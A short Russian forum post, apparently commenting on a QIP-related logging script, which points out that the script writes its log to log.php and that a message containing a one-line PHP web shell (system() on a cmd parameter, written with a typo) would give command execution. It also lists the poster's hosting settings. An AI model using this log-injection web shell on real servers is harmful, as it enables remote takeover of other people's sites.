недочёт в том что лог хранится в log.php немешало бы в log.txt переименовать... сообщение типа <?php system($GET_[cmd]); ?> и шелл получен
З.Ы. у меня платный хостинг с поддержкой сокетов, SafeMode OFF, DisableFunctions OFF, qip даже не выдал что номер используется на другом компе...

__________________
Лучший способ защиты - это нападение!!!